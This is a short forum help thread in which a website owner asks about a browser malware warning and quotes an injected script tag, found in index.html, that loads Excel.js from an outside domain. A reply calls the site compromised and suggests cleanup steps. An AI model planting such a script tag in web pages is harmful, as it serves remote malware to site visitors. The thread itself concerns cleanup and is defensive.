    Hi,

    My website today started giving me this error saying :-

    "The website at somecompany.com contains elements from the site
    blog.bigsophieblog.com, which appears to host malware",


    i am not sure what malware is this and dont know where it originated from, coz i haven't touched my site for a long time.

    Any suggestions as to how can i get this cleaned...any one ?

    On investigating further i found this entry in my index.html at the bottom of the pages :-

    <script type="text/javascript" src="http://blog.bigsophieblog.com/Excel.js"></script>
    <!--c5cd07f5ee3905192b3919b61ef38898-->


    What does this mean, some thing very serious of just by deleting this line will solve this problem ?

    Thank you

    It would appear that your site has been compromised if I was to guess. Removing that line from that file should allow you to access it again, but that line may just be in every single page of your site.

    First things first, make sure your PC is scanned for any problems like a virus. Once you're sure you're ok there, login to your cPanel if you can and change your password to something stronger.

    Contact your host for assistance with this.
